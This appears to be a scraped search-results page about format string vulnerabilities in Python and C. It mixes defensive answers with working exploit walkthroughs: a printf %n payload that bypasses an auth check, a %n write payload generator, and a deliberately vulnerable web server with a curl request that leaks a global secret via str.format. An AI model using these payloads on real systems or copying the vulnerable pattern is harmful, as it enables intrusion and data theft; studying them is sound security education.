Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

Answer from rook on Stack Overflow
🌐
GitHub
github.com › lovasoa › pyformat-challenge
GitHub - lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge · GitHub
Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge
Starred by 7 users
Forked by 4 users
Languages   Python 91.1% | Shell 8.9%
🌐
SSRN
papers.ssrn.com › sol3 › Delivery.cfm › SSRN_ID3442177_code2682943.pdf
Exploiting Format Strings With Python by Dr Craig S Wright :: SSRN
August 28, 2019 - In this article we will look at format strings in the C and C++ programming languages. In particular, how these may be abused. The article progresses to discuss crafting attacks using python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-byte overwrite in the DTORS and GOT (Global Access Table) and prepares the reader for a follow-up article on exploiting the GOT and injecting shell code.
Top answer
1 of 3
9

Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

2 of 3
4

This simple Formatter override blocks users from accessing attributes. It still allows formatting and conversion of types.

from string import Formatter

class SafeFormatter(Formatter):
    def get_field(self, field_name, args, kwargs):
        if not str.isidentifier(field_name):
            raise ValueError(
                f"Invalid format string, {field_name!r} is not a valid identifier"
            )
        return super().get_field(field_name, args, kwargs)

Usage example:

>>> safe_formatter = SafeFormatter()
>>> safe_formatter.format("Number {num} is id={id}", num=1, id="hello")
'Number 1 is hello'
>>> safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
Traceback (most recent call last):
  File "<python-input-3>", line 1, in <module>
    safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[...omitted...]
  File "<python-input-0>", line 6, in get_field
    raise ValueError(
        f"Invalid format string, {field_name!r} is not a valid identifier"
    )
ValueError: Invalid format string, 'id.__class__' is not a valid identifier
>>> 
🌐
Podalirius
podalirius.net › en › articles › python-format-string-vulnerabilities
Python format string vulnerabilities · Podalirius
March 24, 2021 - But format string are great in python ! You can access object properties directly in the format string. In the case of a class, this can be really useful to access a specific value in the class.
🌐
Wallarm
wallarm.com › what › format-string-vulnerability
✋Format String Vulnerability - Types, Examples, Prevention
June 26, 2025 - Format string attack is often found in C language programs, it refers to a bug found in the printf() function. Format string vulnerabilities in Python.
🌐
GeeksforGeeks
geeksforgeeks.org › vulnerability-in-str-format-in-python
Vulnerability in str.format() in Python | GeeksforGeeks
January 6, 2025 - fun Function: This function dynamically formats a string using the person object. Case 1 (Safe input):This is the expected, safe result, where the placeholders are replaced with valid values from the person object. Case 2(Malicious Input):This is a dangerous situation where a malicious user can exploit the str.format() method to retrieve sensitive data from the global context.
🌐
Medium
medium.com › swlh › hacking-python-applications-5d4cd541b3f1
Hacking Python Applications. And how attackers exploit common… | by Vickie Li | The Startup | Medium
November 15, 2019 - The issue arises when users control the format string directly, and when a Python object is passed into the format string. This is due to the use of special attributes of Python object methods.
🌐
Armin Ronacher
lucumr.pocoo.org › 2016 › 12 › 29 › careful-with-str-format
Be Careful with Python’s New-Style String Format | Armin Ronacher's Thoughts and Writings
December 29, 2016 - This should have been obvious to ... by str.format on untrusted user input. It came up as a way to bypass the Jinja2 Sandbox in a way that would permit retrieving information that you should not have access to which is why I just pushed out a security release for it. However I think the general issue is quite severe and needs to be a discussed because most people are most likely not aware of how easy it is to exploit. Starting with Python 2.6 a new ...
Find elsewhere
🌐
Stack Exchange
security.stackexchange.com › questions › 269949 › is-format-string-still-an-issue-in-python
Is format string still an issue in Python? - Information Security Stack Exchange
format string vulnerability is about using a format string (in your case Job ID: {}) which includes untrusted user input. Your example does not do this, i.e. your format string is a static string hard coded in the program.
🌐
O'Reilly
oreilly.com › library › view › python-penetration-testing › 9781784399771 › 9d8c1a55-3be3-4aaa-b64d-472981ad72ab.xhtml
Format string exploitation - Python Penetration Testing Cookbook [Book]
November 28, 2017 - The format string vulnerability occurs when the submitted data of an input string is evaluated as a command by the application. With the help of this method, the attacker could execute code, read the stack, and may cause a segmentation fault.
Author   Rejah Rehim
Published   2017
Pages   226
🌐
Sourcery
sourcery.ai › vulnerabilities › python-flask-security-audit-directly-returned-format-string
Flask Format String Direct Return Vulnerability | Security Vulnerability Database | Sourcery
Logging code formats user-controlled data: logger.info('Login: {}'.format(username)). Attackers inject newlines or ANSI codes to forge log entries, hide malicious activity, or exploit log aggregation systems.
🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) dump(payload)
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
Top answer
1 of 2
1

The reason why you get a segmentation fault is likely because you try to write to the wrong address (why else). Now, while experimenting with your program, I found three main reasons why that could happen:

  • Hit the wrong spot using the wrong number of %xs
  • Access the wrong address because of formatting errors
  • Get the above right but try to use the wrong address to begin with

I'm pretty sure you got the first point right:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825

As we can see, I would need 5 times %x to get to the right location. I should verify that this will be the case for every consecutive time I run the program:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141

Again, 5 times (likely -fno-stack-protector doing its job). The 6th occurence of %x will need to be replaced with %n. If you get the wrong number, you will likely encounter a segmentation fault.

Now, we need to make sure we overwrite at the right address. As you can see from the above examples, the address of auth is a different one every time I run the program.
To get the right address we would need to "respond" to whatever printf("%p\n", &auth) tells us. I achieved that by using the following command:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141

As you can see, auth's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin using Python.

But there's another problem I mentioned earlier: Formatting. I don't know a lot about Python 3 and how it handles Strings, but if I decide to print the following:

$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3

I would expect the content of the start of our input string (in hexadecimal) to be ffffffff, instead I got bfc3bfc3 at that location. If I would have to take a guess, I would say that has something to do with UTF-8, Python 3's default encoding.

To get around that behavior, I used Python 2 instead, which seems to default to ASCII.

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

The only thing that's left is to print the right address in the correct byte order, followed by 5 times %x to move the stack pointer to the right position, followed by a %n to overwrite auth with something non-zero.

$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated

And we're in.

2 of 2
0

In the general flow, printf uses the fmt to determine the types of the arguments, and copies them to its output. Unless you have some knowledge of where the output, or output control structure is, you won't have much luck attempting to jam random stack strings or other such things into it.

If generating a SEGV is enough of an exploit you already have your answer; however there is one formatting option %n which goes in the other direction. %n writes out, through a pointer in the argument list, how many chars it has written so far. If we can find a stray pointer to &auth on the stack, we can make a format string which goes through this.

First up, what does the stack look like? Run your program, and input:

%p %p %p %p %p %p .....

and look at the values that come out. All you need is one lower than the &auth by less than the size of an int. Greater doesn't help. If you can find one, you can then set a string with the number of %p to move to that pointer, then a %n to over-write it. If you don't find any, you can probe further in the stack frame by starting with "%64p", which moves to arg #64 (base 1) then proceeds from there.

If your over-write misses (say you were off in address by one byte ), you can substitute in a %256.256d for one of the %p's to increase your #written.

Sadly, on my machine and compiler (macos, clang), I couldn't find a value; and I tried to induce some by shifting environment variables, etc, but to no avail.

🌐
Samsclass
samsclass.info › 127 › proj › p6a-fs.htm
Proj 6: Exploiting a Format String Vulnerability (20 pts.)
This exploit is a bit finicky--the injected code is passed in as a format string. So it's a good time to go through the whole process of testing for bad characters. We know a null byte terminates strings in C, so there's no need to test that. But how many of the remaining characters can we ...
🌐
Exploit-DB
exploit-db.com › docs › english › 28476-linux-format-string-exploitation.pdf pdf
Format String Exploitation-Tutorial By Saif El-Sherei www.elsherei.com
So what happens to the stack when a format string is specified with no corresponding variable on · stack??!! Top of Stack · Bottom of memory · stack direction · It will start to pop data off the stack from where the variables should have been located. “Figure 2” · Notice that the items the program returns are values and addresses saved on the stack. Let’s try something else: root@kali:~/Desktop/tuts/fmt# ./fmt_wrong AAAA$(python -c 'print "x."*20') In the above the characters “AAAA” are entered before the format string.
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - gdb-peda$ b *0x00400665 ; Break @printf() Breakpoint 1 at 0x400665 gdb-peda$ b *0x0040066a ; Break right after printf() Breakpoint 2 at 0x40066a gdb-peda$ run < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') Starting program: /home/user/format1 < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') [-------------------------------------code-------------------------------------] 0x40065e <main+62>: sub esp,0xc 0x400661 <main+65>: lea eax,[ebp-0x4c] 0x400664 <main+68>: push eax => 0x400665 <main+69>: call 0x400450 <printf@plt> 0x40066a <main+74>: add esp,0x10 0x40066d <main+77>: cmp DWORD PTR [ebp-0xc],0xcafebabe 0x400674 <main+84>: jne 0x40068f <main+111> 0x400676 <main+86>: sub esp,0xc Breakpoint 1, 0x00400665 in main () gdb-peda$ x/x 0xbffff6ac ; Check the value @ 0xbffff6ac 0xbffff6ac: 0xdeadc0de gdb-peda$ continue Continuing.
🌐
Medium
medium.com › @fahimalshihabifty › bcs-ctf-2025-exploiting-format-string-vulnerabilities-f6dcad98f314
BCS CTF 2025: Exploiting Format String Vulnerabilities | by Md Fahim Al Shihab | Medium
March 5, 2025 - From the code, it’s evident that printf(input); is vulnerable to format string exploitation. Our objective is to overwrite the brocode variable’s value to 0x4ADF070F. Find the format string offset. Locate the address of the brocode variable. Construct a format string payload to modify brocode. ... python3 -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,40)]))" | ./read_me | grep 4847
🌐
Kayssel
kayssel.com › post › format-string
Mastering Format String Exploits: A Comprehensive Guide
January 7, 2024 - The printf function’s expectation of matching format strings and arguments, when unmet, inadvertently led to revealing or altering memory contents. Crafting the Exploit: The real crux of our journey was developing an exploit. We methodically constructed a Python script to exploit the vulnerability, showcasing each step from injecting memory addresses to locating and modifying the return address of a function.
Top answer
1 of 4
22

Python's f-strings are actually safer. Use them!


String formatting may be dangerous when a format string depends on untrusted data. So, when using str.format() or %-formatting, it's important to use static format strings, or to sanitize untrusted parts before applying the formatter function. In contrast, f-strings aren't actually plain strings, but more like syntactic sugar for concatenating strings and expressions. As such, an f-string's format is predetermined and doesn't allow dynamic (potentially untrusted) parts in the first place.

Old-style formatting with str.format()

>>> data_str = 'bob'
>>> format_str = 'hello {name}!'
>>> format_str.format(name=data_str)
'hello bob!'

Here, your Python interpreter doesn't know the difference between a data string and a format string. It just calls a function, str.format(), which runs a replacement algorithm on the format string value at the moment of execution. So, expectedly, the format is just a plain string with curly braces in it:

>>> import dis
>>> dis.dis("'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello {name}!')
              2 RETURN_VALUE

New-style formatting with f-strings

>>> data_str = 'bob'
>>> f'hello {data_str}!'
'hello bob!'

Here, f'hello {data_str}!' may look like a string constant, but it's not. The interpreter doesn't parse the part between {...} as part of the string that may be expanded later, but as a separate expression:

>>> dis.dis("f'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello ')
              2 LOAD_NAME                0 (name)
              4 FORMAT_VALUE             0
              6 LOAD_CONST               1 ('!')
              8 BUILD_STRING             3
             10 RETURN_VALUE

So, think of "hi {sys.argv[1]}" as (approximately) syntactical sugar for "hi " + sys.argv[1]. At run time, the interpreter doesn't even really know or care that you used an f-string. It just sees instructions to build a string from a the constant "hi " and the formatted value of sys.argv[1].

Vulnerable example

Here is a sample web app which uses str.format() in a vulnerable way:

from http.server import HTTPServer, BaseHTTPRequestHandler

secret = 'abc123'

class Handler(BaseHTTPRequestHandler):
    name = 'funtimes'
    msg = 'welcome to {site.name}'
    def do_GET(self):
        res = ('<title>' + self.path + '</title>\n' + self.msg).format(site=self)
        self.send_response(200)
        self.send_header('content-type', 'text/html')
        self.end_headers()
        self.wfile.write(res.encode())

HTTPServer(('localhost', 8888), Handler).serve_forever()
$ python3 example.py

$ curl 'http://localhost:8888/test'
<title>/test</title>
welcome to funtimes

Attack

When the res string is built, it usesself.path as part of the format string. Since self.path is user-controlled, we can use it to alter the format string and e.g. exfiltrate the global variable secret:

$ curl -g 'http://localhost:8888/XXX{site.do_GET.__globals__[secret]}'
<title>/XXXabc123</title>
welcome to funtimes
2 of 4
4

If this basic language feature were this flawed, it probably wouldn't be a feature at all. As long as the contents of the format string are controlled by the programmer at development time, there is nothing that a user can do to abuse them.

The contents of the curly braces are evaluated, but the result of that evaluation is not evaluated again (i.e. sys.argv[1] is evaluated to "1+1", but is not evaluated again, like you have seen).

The problem arises when a user is able to to inject data into a string before it is formatted; see this challenge example. While this is not for an f-string, it is a good demonstration of the attacks that are possible if the user is allowed to control the formatting.